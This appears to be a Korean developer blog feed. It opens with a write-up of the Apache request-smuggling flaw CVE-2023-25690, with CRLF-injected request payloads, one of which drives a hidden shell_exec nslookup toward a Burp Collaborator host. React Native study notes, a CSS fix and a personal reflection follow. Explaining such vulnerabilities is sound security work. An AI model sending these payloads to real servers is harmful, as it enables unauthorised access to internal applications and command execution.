</VirtualHost>

설정 설명

    RewriteEngine on
    RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
    ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"

RewriteEngine on:

• RewriteEngine on은 Apache 설정에 포함되어 있어 URL 재작성 엔진을 활성화 함. URL 재작성은 클라이언트 브라우저가 요청한 URL을 서버가 콘텐츠를 제공하기 전에 동적으로 다른 URL로 변경할 수 있게 하는 기술

RewriteRule:

• 다음과 같은 Apache 구성 파일에서 RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1" [P]과 같은 RewriteRule 지시문이 있다고 가정
• 이 규칙은 "/categories/"로 시작하는 URL에 일치하며, 정규 표현식 ^/categories/(.*)를 사용하여 값을 캡처
• 그런 다음 규칙은 URL을 http://example-shop.com:8080/categories?id=1로 변경하고 캡처한 값을 query parameter로 추가

[P] 플래그:

• [P] 플래그는 Apache에게 수정된 URL을 프록시 요청으로 처리하라고 지시

ProxyPassReverse:

• ProxyPassReverse /categories/ http://example-shop.com:8080/은 백엔드 서버의 도메인과 경로를 프록시 서버의 도메인과 경로로 대체

Internal HTTP Request Smuggling via Header Injection

GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

이렇게 요청 url 을 변경하면 \r\n 이 추가되어 새로운 헤더로 인식하게 됨

• %20 : 공백(space)
• %0d : 캐리지 리턴 (\r)
• %0a : 라인 피드 (\n)

GET /categories.php?id=1 HTTP/1.1
Host: localhost

GET /SMUGGLED HTTP/1.1
Host: backend

이렇게 두 개의 요청으로 나뉘어지게 됨

만약 내부 코드에 이런 secret 코드가 있었다면:

#Internal secret functionality
if(isset($_GET['secret'])){
    $secret = $_GET['secret'];

    shell_exec('nslookup ' . $secret);
}

GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

이런 요청을 보내서 숨겨진 기능을 사용할 수 있음

burp collaborator에서 요청 확인 가능

영향

이 취약성의 영향은 공격자가 역방향 프록시에 의해 숨겨져야 하는 내부 응용프로그램을 대상으로 하고 액세스할 수 있도록 하여 무단 액세스, 데이터 유출 또는 추가 공격으로 이어질 가능성이 있다.

references

• https://github.com/dhmosfunk/CVE-2023-25690-POC

처음 배우는 리액트 네이티브 - 김범준

7장 Context API

7.1 전역 상태 관리

Context API를 이용하면 Context를 생성해 필요한 컴포넌트에서 데이터를 바로 받아올 수 있음 props로 데이터 전달 시 App > A > B > D 이렇게 중간 과정을 거치지 않고 Context를 생성해 바로 원하는 컴포넌트로 데이터 전달

7.2 Context API

기본 형태

const Context = createContext(defaultValue);

7.2.1 Consumer

src/contexts/User.js

import { createContext } from "react";

const UserContext = createContext({ name: 'mk' });

export default UserContext;

기본 값으로 mk가 설정됨

src/components/User.js

import React from "react";
import styled from "styled-components/native";
import UserContext from "../contexts/User";

const StyledText = styled.Text`
    font-size: 24px;
    margin: 10px;
`;

const User = () => {
    return (
        <UserContext.Consumer>
            {value => <StyledText>Name: {value.name}</StyledText>}
        </UserContext.Consumer>
    );
};

export default User;

Consumer

• 상위 컴포넌트 중 가장 가까운 곳에 있는 Provider 컴포넌트가 전달하는 데이터를 이용
• Provider가 없으면 createContext 함수 파라미터 값인 기본값을 사용
• Consumer 컴포넌트의 자식은 반드시 리액트 컴포넌트를 반환하는 함수여야함
• 함수는 Context의 현재값을 파라미터로 전달받아 데이터를 사용

7.2.2 Provider

const App = () => {
    return (
    <UserContext.Provider value={{ name: 'mkcyb' }}>
        <Container>
            <User />
        </Container>
    </UserContext.Provider>
    );
};

Provider

• 하위 컴포넌트에 Context의 변화를 알리는 역할

• Provider 컴포넌트는 value를 받아서 모든 하위 컴포넌트에 전달, 자식 컴포넌트는 Provider 컴포넌트의 value가 변경될 때마다 다시 렌더링

• Provider 컴포넌트로부터 value를 전달받는 하위 컴포넌트 수 제한 x

• Provider 컴포넌트를 사용할 때 반드시 value를 지정해야 함

• Consumer 컴포넌트는 가장 가까운 Provider 컴포넌트가 전달하는 값을 사용

7.2.3 Context 수정하기

src/contexts/User.js

import { createContext, useState } from "react";

const UserContext = createContext({
    user: { name: '' },
    dispatch: () => {},
});

const UserProvider = ({ children }) => {
    const [name, setName] = useState('mk-cyb');

    const value = { user: {name}, dispatch: setName};
    return <UserContext.Provider value={value}>{children}</UserContext.Provider>
};

const UserConsumer = UserContext.Consumer;

export { UserProvider, UserConsumer };

export default UserContext;

• Provider 컴포넌트의 value에 전역으로 관리할 상태변수와 상태 변경 함수를 함께 전달하는 UserProvider 컴포넌트
• createContext의 기본값도 UserProvider 컴포넌트의 value로 전달하는 형태와 동일한 형태를 갖도록 함

Input 컴포넌트

import React, { useState } from "react";
import styled from "styled-components/native";
import { UserConsumer } from "../contexts/User";

const StyledInput = styled.TextInput`
    border: 1px solid #606060;
    width: 250px;
    padding: 10px 15px;
    margin: 10px;
    font-size: 24px;
`

const Input = () => {
    const [name, setName] = useState('');

    return (
        <UserConsumer>
            {({ dispatch }) => {
                return (
                    <StyledInput
                        value={name}
                        onChangeText={text => setName(text)}
                        onSubmitEditing={() => {
                            dispatch(name);
                            setName('');
                        }}
                        placeholder="Enter a name..."
                        autoCapitalize="none"
                        autoCorrect={false}
                        returnKeyType="done"
                        />
                );
            }}
        </UserConsumer>

    );
};
export default Input;

• UserProvider 컴포넌트의 value로 전달되는 세터함수를 이용해 입력되는 값으로 Context의 값을 변경하는 Input 컴포넌트
• UserConsumer의 컴포넌트의 자식 함수에 전달되는 value에는 dispatch 함수가 같이 전달됨
• dispatch를 이용해 키보드의 확인버튼을 누르면 TextInput에 입력된 입력값으로 Context의 값을 변경

7.3 useContext

useContext 함수는 Consumer 컴포넌트의 자식 함수로 전달도던 값과 동일한 데이터를 반환 Consumer 컴포넌트를 사용하지 않고 Context의 내용을 사용 가능 src/components/User.js

import React, { useContext } from "react";
...
const User = () => {
    const { user } = useContext(UserContext);
    return <StyledText>Name: {user.name}</StyledText>;
};
...

src/components/Input.js

import React, { useState, useContext } from "react";
...
const Input = () => {
    const [name, setName] = useState('');
    const { dispatch } = useContext(UserContext);

    return (
        <StyledInput
            value={name}
            onChangeText={text => setName(text)}
            onSubmitEditing={() => {
                dispatch(name);
                setName('');
            }}
            placeholder="Enter a name..."
            autoCapitalize="none"
            autoCorrect={false}
            returnKeyType="done"
            />
    );
};
...

• Consumer를 사용할 때
  • 자식으로 반드시 리액트 컴포넌트를 반환하는 함수를 넣어야함
• useContext 사용
  • 코드의 가독성 좋아짐
  • 사용법이 간편

처음 배우는 리액트 네이티브 - 김범준 정리

6장 Hooks

6.1 useState

컴포넌트 상태를 관리하기 위한 useState

const [count, setCount] = useState(0);

• 호출 시 변수와 그 변수를 수정할 수 있는 세터 함수를 배열로 반환
• 호출할 때 전달한 값을 초깃값으로 갖는 상태 변수
• 여러 번 사용 가능함
• 변수는 반드시 세터 함수를 이용해 값을 변경해야함
• 상태가 변경되면 컴포넌트가 변경된 내용을 반영하여 리렌더링 됨

6.1.1 useState 사용하기

src/components/Counter.js

import React, { useState } from "react";
import styled from 'styled-components/native';
import Button from "./Button";

const StyledText = styled.Text`
    font-size: 24px;
    margin: 10px;
`;

const Counter = () => {
    const [count, setCount] = useState(0);

    return (
        <>
            <StyledText>count: {count}</StyledText>
            <Button
                title="+"
                onPress={() => {
                    setCount(count +1);
                }}
            />
            <Button
                title="-"
                onPress={() => {
                    setCount(count -1);
                }}
            />

        </>
    );
};

export default Counter;

숫자 상태를 나타내는 count를 useState로 생성, Button 컴포넌트를 이용하여 클릭마다 세터 함수를 이용해 상태 변경

6.1.2 세터 함수

1. 세터 함수에 변경될 상태의 값 전달
2. 세터 함수의 파라미터에 함수를 전달

setState(prevState => {});

전달된 함수에는 변경되기 전 상태값이 파라미터로 전달 됨 이 값을 어떻게 수정할 지 함수로 정의 세터 함수는 비동기로 동작하기 때문에 상태 변경이 여러번 일어날 경우 상태가 변경되기 전에 상태에 대한 업데이트가 일어나서 의도대로 동작하지 않을 수 있음 바로바로 변경 x 이를 해결하기 위해서 세터 함수에 함수를 인자로 전달하여 이전 상태값을 이용할 수 있음

setCount(prevCount => prevCount + 1);
setCount(prevCount => prevCount + 1);

이렇게 코드를 작성하면 두 번 호출했을 때 count가 의도대로 2번 증가함

6.2 useEffect

컴포넌트가 렌더링될 때 마다 원하는 작업이 실행되도록 설정할 수 있는 기능

useEffect(() => {}, []);

첫 번째 파라미터로 전달된 함수는 조건을 만족할 때마다 호출 두 번째 파라미터로 전달되는 배열을 이용해 함수 호출 조건 설정

6.2.1 useEffect 사용하기

• 두 번째 파라미터에 어떤 값도 전달하지 않으면 첫 번째 파라미터로 전달된 함수는 컴포넌트가 렌더링 될 때마다 호출

import React, { useState, useEffect } from 'react';
import styled from 'styled-components/native';

const StyledTextInput = styled.TextInput.attrs({
    autoCapitalize: 'none',
    autoCorrect: false,
})`
    border: 1px solid #757575;
    padding: 10px;
    margin: 10px 0;
    width: 200px;
    font-size: 20px;
`;
const StyledText = styled.Text`
    font-size: 24px;
    margin: 10px;
`;

const Form = () => {
    const [name, setName] = useState('');
    const [email, setEmail] = useState('');

    useEffect(() => {
        console.log(`name: ${name}, email: ${email}\n`);
    });

    return (
        <>
            <StyledText>Name: {name}</StyledText>
            <StyledText>Email: {email}</StyledText>
            <StyledTextInput
                value={name}
                onChangeText={text => setName(text)}
                placeholder="name"
            />
            <StyledTextInput
                value={email}
                onChangeText={text => setEmail(text)}
                placeholder="email"
            />
        </>

    );

};

export default Form;

6.2.2 특정 조건에서 실행하기

• 두 번째 파라미터에 해당 상태를 관리하는 변수를 배열로 전달
• 그 값이 변할 때마다 호출됨
• 세터함수가 비동기이므로 값이 변경되면 실행할 함수를 useEffect로 정의

    useEffect(() => {
        console.log(`name: ${name}, email: ${email}\n`);
    }, [email]);

  두 번째 파라미터를 email로 지정

email이 변할 때만 log 생김

6.2.3 마운트시 실행

• 두 번째 파라미터에 빈 배열을 전달하면 컴포넌트가 처음 렌더링될 때만 함수가 호출

    useEffect(() => {
        console.log(`\n===== Form Component Mount =====\n`);
    }, []);

6.2.4 언마운트시 실행

• useEffect에서 전달하는 함수에서 반환하는 함수를 정리 함수라고 함
• 실행 조건이 빈 배열인 경우 언마운트 될 때 정리 함수를 실행

    useEffect(() => {
        console.log(`\n===== Form Component Mount =====\n`);
        return () => console.log('\n===== Form Component Unmount =====\n');
    }, []);

const App = () => {
    const [isVisible, setIsVisible] = useState(true);
    return (
    <Container>
        <Button
            title={isVisible ? 'Hide' :'Show'}
            onPress={() => setIsVisible(prev => !prev)}
        />
        {isVisible && <Form />}
    </Container>
    );
};

6.3 useRef

특정 DOM을 선택해야할 때 사용하는 getElementById 처럼 특정 컴포넌트를 선택해야 할 때 사용 예를 들어 컴포넌트로 포커스를 설정하고 싶은 경우

const ref = useRef(initialValue);

주의할 점

• 컴포넌트의 ref로 지정하면 생성된 변수에 값이 저장되는 것이 아닌 변수의 .current 프로퍼티에 저장
• useRef는 useState와 달리 내용이 변경되어도 다시 렌더링되지 않음

const Form = () => {
  ...
    const refName = useRef(null);
    const refEmail = useRef(null);
  ...

    useEffect(() => {
        console.log(`\n===== Form Component Mount =====\n`);
        refName.current.focus();
        return () => console.log('\n===== Form Component Unmount =====\n');
    }, []);

    return (
        <>
            ...
            <StyledTextInput
                ...
                ref={refName}
                returnKeyType='next'
                onSubmitEditing={() => refEmail.current.focus()}  
            />
            <StyledTextInput
                ...
                ref={refEmail}
                returnKeyType='done'
            />
        </>

    );

};

키보드의 완료 버튼을 각각 next와 done으로 변경하고 마운트 될 때 name 에 포커스가 있도록, next를 누르면 email로 포커스를 옮기도록 설정함

6.4 useMemo

동일한 연산의 반복 수행을 제거하여 성능을 최적화 시킴

useMemo(() => {}, []);

첫 번째 파라미터에 함수 전달 두 번째 파라미터에 함수 실행 조건을 배열로 전달하면 지정된 값에 변화가 있는 경우에만 함수가 호출

useEffect 사용 전

const getLength = text => {
    console.log(`Target Text: ${text}`);
    return text.length;
}

const list = ['JavaScript','Expo','Expo','React Native'];

let idx = 0;
const Length = () => {
    const [text, setText] = useState(list[0]);
    const [length,setLength] = useState('');
    const _onPress = () => {
        setLength(getLength(text));
        ++idx;
        if (idx < list.length) setText(list[idx]);
    };
    return(
        <>
            <StyledText>Text: {text}</StyledText>
            <StyledText>Length: {length}</StyledText>
            <Button title="Get Length" onPress={_onPress} />
        </>
    );
}

export default Length;

useEffect 사용 후

...
const Length = () => {
    const [text, setText] = useState(list[0]);
    const _onPress = () => {
        ++idx;
        if (idx < list.length) setText(list[idx]);
    };
    const length = useMemo(() => getLength(text), [text]);
...
}

export default Length;

useMemo를 사용해 text의 값이 변경되었을 때만 text의 길이를 구함 중복 연산을 방지함으로써 성능을 최적화

6.5 커스텀 Hooks 만들기

Fetch를 사용하여 useFetch라는 이름의 Hook 만들기 useFetch.js

import { useState, useEffect } from "react";

export const useFetch = url => {
    const [data, setData] = useState(null);
    const [error, setError] = useState(null);

    useEffect(() => {
       const fetchData = async () => {
        try {
            const res = await fetch(url);
            const result = await res.json();
            if (res.ok) {
                setData(result);
                setError(null);
            } else {
                throw result;
            }
        } catch (error){
            setError(error);
        }
        };
        fetchData();
       }, []);

       return {data, error};
    };

useEffect에 비동기함수를 첫 번째 파라미터로 전달할 경우 함수 내부에 비동기함수를 정의하고 사용하는 방법으로 경고를 방지할 수 있음 Dog.js

import React from 'react';
import styled from 'styled-components/native';
import { useFetch } from '../hooks/useFetch';

const StyledImage = styled.Image`
    background-color: #7f8c8d;
    width: 300px;
    height: 300px;
`

const URL = 'https://dog.ceo/api/breeds/image/random';
const Dog = () => {
    const {data,error} = useFetch(URL);

    return(
        <>
            <StyledImage source={data?.message ? {uri: data.message} : null} />
        </>
    );
};

export default Dog;

이때 data?.message 는 옵셔널 체이닝 문법으로 data 속성이 있을 경우에만 접근하여 TypeError를 방지하며 안전하게 접근하는 문법임

강아지 api Dogs API https://dog.ceo/api/breeds/image/random

useFetch.js

...
    const [inProgress, setInProgress] = useState(false);
...
    useEffect(() => {
       const fetchData = async () => {
        try {
            setInProgress(true);
            ...
        } catch (error){
            setError(error);
        } finally {
            setInProgress(false);
        }
        };
        fetchData();
       }, []);

       return {data, error, inProgress};
    };

Dog.js

...
const Loading = styled.Text`
    font-size: 18px;
    color: #2ecc71;
`

const URL = 'https://dog.ceo/api/breeds/image/random';
const Dog = () => {
    const {data,error, inProgress} = useFetch(URL);

    return(
        <>
            {inProgress && (
                <Loading>The API request is in progress</Loading>
            )}
...
        </>
    );
};

export default Dog;

api 요청 중 로딩 메세지를 띄워주도록 코드 추가

처음 배우는 리액트 네이티브 - 김범준 책 정리

4장 스타일링

4.1 스타일링

리액트 네이티브는 자바스크립트를 이용해 스타일링 가능

• 컴포넌트에 style 속성이 있어 속성에 인라인 스타일을 적용하는 방법
• 스타일시트에 정의된 스타일을 사용하는 방법

4.1.1 인라인 스타일링

이전 3장에서 간략히 살펴봤듯이 html에서는 문자열 형태로 스타일 입력하지만 리액트 네이티브에서는 객체 형태로 컴포넌트에 직접 스타일 입력 가능 카멜 표기법으로 작성

const App = () => {
  return (
    <View
      style={{
        flex: 1,
        backgroundColor: '#fff',
        alignItems: 'center',
      }}
    ></View>
   );
};

장점 어떤 스타일이 적용되는지 잘보임 단점 비슷한 역할을 하는 컴포넌트에 동일 코드 반복 어떤 이유로 해당 스타일이 적용되었는지 코드만으로 이해하기 어려움

4.1.2 클래스 스타일링

웹 프로그래밍에서 css 클래스를 이용하는 방식과 유사 스타일시트에 정의된 스타일을 사용하는 방법

const App = () => {
  return (
    <View style={styles.container}>
    </View>
   );
};

const styles = StyleSheet.create({
  container: {
        flex: 1,
        backgroundColor: '#fff',
        alignItems: 'center',
  },
});

장기적인 측면에서 클래스 스타일을 사용하는 것이 관리가 용이함

4.1.3 여러개의 스타일 적용

여러 개의 스타일을 적용해야 할 경우는 배열을 이용하여 style 속성에 여러 스타일을 적용할 수 있음

const App = () => {
  return (
    <View style={styles.container}>
      <Text style={[styles.text, styles.error]}>Error</Text>
    </View>
   );
};

const styles = StyleSheet.create({
  container: {
        flex: 1,
        backgroundColor: '#fff',
        alignItems: 'center',
  },
  text: {
    fontSize: 26,
    fontWeight: '600',
    color: 'black',
  },
  error: {
    fontWeight: '400',
    color: 'red',
  },
});

주의할 점 배열 스타일의 순서에 주의 뒤에오는 스타일이 앞에 있는 스타일을 덮음

• [styles.text, styles.error]
• [styles.error, styles.text]

두 가지가 다르게 나타나므로 주의

const App = () => {
  return (
    <View style={styles.container}>
      <Text style={[styles.text, styles.error, {color: 'green'}]}>Green Error</Text>
    </View>
   );
};

이런 식으로 배열안에 인라인 스타일과 클래스 스타일 방식을 혼용해서 사용할 수 도 있음

4.1.4 외부 스타일 이용하기

외부 파일에 스타일을 정의하고 여러 개의 파일에서 스타일을 공통으로 사용하는 경우

import { StyleSheet } from 'react-native';

export const viewStyles = StyleSheet. create({
  container: {
        flex: 1,
        backgroundColor: '#fff',
        alignItems: 'center',
  },
});

export const textStyles = StyleSheet.create({
  text: {
    fontSize: 26,
    fontWeight: '600',
    color: 'black',
  },
  error: {
    fontWeight: '400',
    color: 'red',
  },
});

두 개의 스타일 시트 작성하고 모두 외부에서 사용할 수 있도록 export

import { viewStyles, textStyles } from './styles';

const App = () => {
  return (
    <View style={viewStyles.container}>
      <Text style={[textStyles.text, textStyles.error, {color: 'green'}]}>Green Error</Text>
    </View>
   );
};

다른 파일에서 import 하여 사용하면 됨

4.2 리액트 네이티브 스타일

리액트 네이티브에서 자주 사용되는 중요한 스타일 속성들

4.2.1 flex와 범위

flex는 값으로 숫자를 받으며 값이 0일 때는 설정된 width와 height 값에 따라 크기가 결정, 양수인 경우 flex 값에 비례하여 크기가 조정

const styles = Stylesheet.create({
  header: {
    flex: 1,
  },
  contents: {
    flex: 2,
  },
  footer: {
    flex: 1,
  },
});

이렇게 작성할 경우 화면 전체를 1:2:1의 비율로 나누어 채우게 됨

header와 footer의 height을 80으로 고정하고 싶다면 다음과 같이 작성

const styles = Stylesheet.create({
  header: {
    height: 80,
  },
  contents: {
    flex: 1,
    height: 640,
  },
  footer: {
    height: 80,
  },
});

이렇게 할 경우 Contents 컴포넌트가 나머지 부분을 모두 차지하게 됨.

4.2.2 정렬

flexDirection

• column: 세로 방향 정렬 (기본값)
• column-reverse: 세로 방향 역순 정렬
• row: 가로 방향 정렬
• row-reverse: 가로 방향 역순 정렬

flexDirection은 자식 컴포넌트가 쌓이는 방향임

justifyContent

flexDirection의 방향과 동일한 방향축 정렬하는 속성

• flex-start
• flex-end
• center
• space-between
• space-around
• space-evenly

alignItems

flexDirection의 방향과 수직이 되는 방향축 정렬하는 속성

• flex-start
• flex-end
• center
• stretch
• baseline

4.2.3 그림자

리액트 네이티브에서 그림자와 관련된 스타일 속성 네가지

• shadowColor
• shadowOffset: width, heigh 지정하여 그림자 거리 설정
• shadowOpacity
• shadowRadius: 흐림 반경

iOS 에서만 적용

• elevation: 안드로이드 그림자 속성

이렇게 각 플랫폼마다 다를 경우에는 Platform 모듈을 이용할 수 있음

• https://reactnative.dev/docs/platform-specific-code#platform-module

4.3 스타일드 컴포넌트

css 에서 사용하던 것과 차이가 있어서 불편함 이런 점을 스타일드 컴포넌트로 해결 가능

• 스타일드 컴포넌트: https://styled-components.com/

4.3.1 스타일드 컴포넌트 사용법

import styled from 'styled-components/native';

const Title = styled.h1`
  font-size: 1.5em;
  text-align: center;
  color: #BF4F74;
`;

styled.[컴포넌트 이름] 뒤에 백틱(`)을 사용하여 만든 문자열을 붙이고 그 안에 스타일을 지정하면 됨. 태그드 템플릿 리터럴(tagged template literals) 라고 함.

import styled from 'styled-components/native';

const whiteText = css`
    color: #fff;
    font-size: 14px;
`;
const BoldText = styled.Text`
    ${whiteText}
    font-size: 14px;
`;

css를 이용하여 재사용 가능한 코드 관리 가능

import styled from 'styled-components/native';

const StyledText = styled.Text`
    font-size: 14px;
`;
const ErrorText = styled(StyledText)`
    color: red;
`;

완성된 컴포넌트를 상속받아 이용할 수 있음. 상속 받아 새로운 컴포넌트를 만들 때 이름을 styled(상속 컴포넌트 이름) 으로 소괄호로 감싸야 함.

4.3.2 스타일 적용하기

import styled from 'styled-components/native';

const ButtonContainer = styled.TouchableOpacity`
    background-color: #fff;
`;
const Title = styled.Text`
    color: red;
    font-size: 20px;
`;
const Button = props => {
  return (
    <ButtonContainer>
      <Title>{props.title}</Title>
    </ButtonContainer>
  );
};

export default Button;

TouchableOpacity 컴포넌트에 스타일이 적용된 ButtonContainer 컴포넌트를 새로 만드는 방식으로 여러 컴포넌트를 만들고 버튼 컴포넌트를 만듬

다른 파일에서 이 버튼 컴포넌트를 사용할 수 있음.

4.3.3 props 사용하기

기존 방식으로 스타일시트 사용하면 스타일시트 내에서 props에 접근할 수 없음 스타일드 컴포넌트에서는 스타일을 작성하는 백틱 안에서 props에 접근할 수 있는 장점이 있음

4.3.4 attrs 사용하기

스타일드 컴포넌트에서 속성을 설정할 때 attrs를 사용할 수있음

const StyledInput = styled.TextInput.attrs(props => ({
  placeholder: 'Enter a text...',
  placeholderTextColor: props.borderColor,
}))`
    border-color: ${props => props.borderColor};
`;

const Input = props => {
  return <StyledInput borderColor={props.borderColor} />;
};

4.3.5 ThemeProvider

스타일드 컴포넌트의 ThemeProvider는 Context API를 활용해 미리 정의한 값들을 사용할 수 있도록 props로 전달함

src/theme.js

export const theme = {
  purple: '#9b59b6',
  blue: '#3498db',
};

src/App.js

import styled, { ThemeProvider } from 'styled-components/native';
import { theme } from './theme';

const App = () => {
  return (
   <ThemeProvider theme={theme}>
      <Container> ... </Container>
    </ThemeProvider>
   );
};

Button 컴포넌트에서 스타일을 정의할 때 props로 전달되는 theme을 이용할 수 있음 src/components/Button.js

const ButtonContainer = styled.TouchableOpacity`
    background-color: ${props =>
      props.title === 'mk' ? props.theme.blue : props.theme.purple};

ThemeProvider를 이용하여 미리 다크모드와 라이트모드를 만들어두고 애플리케이션 색 테마를 변경할 수 있음

처음 배우는 리액트 네이티브 책을 필요한 부분만 정리

3장 컴포넌트

3.1 JSX

3.1.1 하나의 부모

여러 요소를 반드시 하나의 부모로 감싸야 함

3.1.2 자바스크립트 변수

내부에서 자바스크립트 변수를 전달하여 사용할 수 있음

export defualt function App(){
    const name = 'mk'
    return (
        <Text>My name is {name}</Text>
        );
      }

3.1.3 자바스크립트 조건문

if 조건문

if문을 즉시 실행 형태로 작성해야함.

삼항 연산자

AND / OR 연산자

3.1.4 null 과 undefined

JSX 의 경우 null 은 허용, undefined 는 오류 발생한다는 점 유의

3.1.5 주석

{/* 주석을 작성하는 방법 */}
<Text // 태그 안에서 주석 작성 
  />
<Text /* 태그 안에서 주석 작성 */ />

3.1.6 스타일링

인라인 스타일링

export defualt function App(){
    const name = 'mk'
    return (
        <View
          style={{
            flex: 1,
            backgroundColor: '#fff',
          }}
          ></View>
        );
      }

style 에 문자열로 입력하는 것이 아닌 객체 형태로 입력 background-color 처럼 하이픈 연결은 하이픈 제거하고 카멜 표기법으로 작성

3.2 컴포넌트

3.2.1 내장 컴포넌트

• 리액트 네이티브 컴포넌트: https://reactnative.dev/docs/components-and-apis

대표적으로 Button 컴포넌트 있음

3.2.2 커스텀 컴포넌트

컴포넌트 새로 만들 수 있음 export defualt MyButton; 이런 식으로 export 후 사용

3.3 props 와 state

3.3.1 props

props: properties 를 줄인 표현으로 부모 컴포넌트로부터 전달된 속성값 혹은 상속 받은 속성값을 말한다. 자식 컴포넌트에서 변경하는 것은 불가능.

<MyButton title="Button" />

이렇게 전달하면 MyButton 컴포넌트의 props로 title이 전달됨

const MyButton = props => {
  return (
      <Text> {props.title} </Text>
    );
};

이런식으로 확인 가능 태그 사이 값은 props.children 으로 전달

defaultProps

Name.defaultProps = {
    name: '이름',
};

이런 식으로 아무것도 없을 때 기본 값 지정 가능

propTypes

필수적으로 전달, 잘못된 타입 등 지정하여 오류 메세지 전달 가능

3.3.2 state

state 는 컴포넌트 내부에서 생성되고 값을 변경할 수 있음. 이를 이용해 컴포넌트 상태를 관리 (state) 상태가 변하면 컴포넌트 리렌더링 됨.

useState

const [state, setState] = useState(initialState);

useState는 상태를 관리하는 변수와 그 변수를 변경할 수 있는 세터함수를 배열로 반환한다. 상태 변수는 직접 변경하는 것이 아닌 세터 함수를 이용해야함. useState 파라미터에 값을 전달하면 초깃값을 전달할 수 있음.

3.4 이벤트

3.4.1 press 이벤트

onClick 이벤트와 가장 유사한 리액트 네이티브 이벤트: press

• onPressIn : 눌렀을 때
• onPressOut : 터치 해제
• onPress : 터치 해제, onPressOut 이후 호출
• onLongPress : 일정 시간 이상 눌렀을 때

onPress 와 onLongPress는 누른 시간에 따라 둘 중 하나만 호출된다.

3.4.2 change 이벤트

값을 입력하는 TextInput 컴포넌트에서 많이 사용된다.

3.4.3 Pressable 컴포넌트

리액트 네이티브 0.63 이상 버전에서 사용 press 이벤트 동일하게 존재, 동작 방식도 같음 기존 컴포넌트와 다른 특징은 HitRect, PressRect

• HitRect: 약간 떨어진 부분까지 눌렀다고 인식되도록 (모바일에서 버튼 작아서)
• PressRect: 버튼을 누르고 멀어졌을 때, 버튼을 누른 상태에서 벗어났다고 인식하도록 하는 범위 (실수로 눌렀을 때 대비)

hitSlop 속성을 주면 됨 (HitRect 끝에서 PressRect 시작)

코드:

delete: async(req, res) => {

        try {
            const result = await Feedback.remove(req.body);
            console.log("result : ", result);
            res.status(200).send(result);

        } catch (err) {
            res.status(500).send(err);
        }
    }
};

이렇게 해주고 models 파일에서 remove 함수를 정의해줬는데 자꾸 서버 에러가 뜬다. 찾다 찾다 모르겠어서 chatgpt 한테 물어봤는데 바로 찾음.. 진작 물어볼걸

objectID 저건 안바꿔줘도 되고 그냥 함수명 하나만 바꿨더니 잘 돌아감 흑흑 ㅠㅠ 그래도 찾아서 다행. 고맙다 지피티야.. 함수명 쓸 때 주의하자

자식 div 여러개를 가로스크롤로 만드려고 했는데 부모 div에 width 속성과 overflow-x: scroll 을 주니 자꾸 페이지 전체에 스크롤이 생긴다.. 게다가 자식요소가 자꾸 크기가 줄어드는 문제가 발생 white-space 속성이나 display-wrap 속성을 모두 nowrap으로 해도 같은 문제가 발생했다.

해결 방법

간단하게 자식 요소에 min-width 와 min-height 을 설정해주면 된다.

css 코드

.x_scroll_parent{
    display: flex;
    flex-wrap: nowrap;
    overflow-x: scroll;
}

.x_scroll_child{
    min-width: 100px;
    min-height: 100px;
}

배운 점

1. 누구나 처음은 있다. 해보지 못한 일에 대한 두려움은 당연히 있을 수 있지만, 다른 사람들도 마찬가지다. 그리고 막상 해보면 생각보다 어렵지 않은 일일 수도 있으니 모르는 일에 대해서 지나치게 스트레스 받지 말 것. 잘 할 수 없을 거라는 걱정을 하기에는 시간이 아깝다. 막상 할 때가 되면 다 하게 되어있고 중요한 건 그래도 할 수 있다는 마음가짐으로 천천히 시작해보기. 나같은 경우는 모르는 거에 대해서 막막함이 너무 컸었다. 내가 해본 적이 없는 건데 어떻게 시작을 해야하는 건지 이런 것들? 이런 것들은 뭐 구글링하면 친절하게 정리된 블로그가 나올지도 모르지만 약간 너어무 기초적인 것들은 생략하고 설명할 때도 많기 때문에.. 그리고 이런 기초적인 것들을 물어보기에도 참 처음엔 많은 망설임이 있었다.ㅠ 너무 쉬운걸 물어보는게 아닐까? 하는.. 근데 이런 거를 모르면 일을 못하는데 어떡하나.. 글구 처음이 어렵지 막상 알려주면 간단한 것들이라 금방금방 배우고 할 수 있다는 걸 알게 되어서 그 후로는 사소한 거라서 못물어보는게 아니라, 사소한 거일수록 빨리 빨리 물어보고 빨리 배워야한다고 생각하게 되었다. 그리고 이러한 긍정적인 경험을 통해서 물어볼 용기가 생길 수 있었던 건 다 팀원 분들 덕분이었다. 내가 잘 모르는 부분에 대해 귀찮을 수도 있지만 적극적이고 친절하게 알려준 회사 동료분들이 너무 고맙다..ㅠㅠ

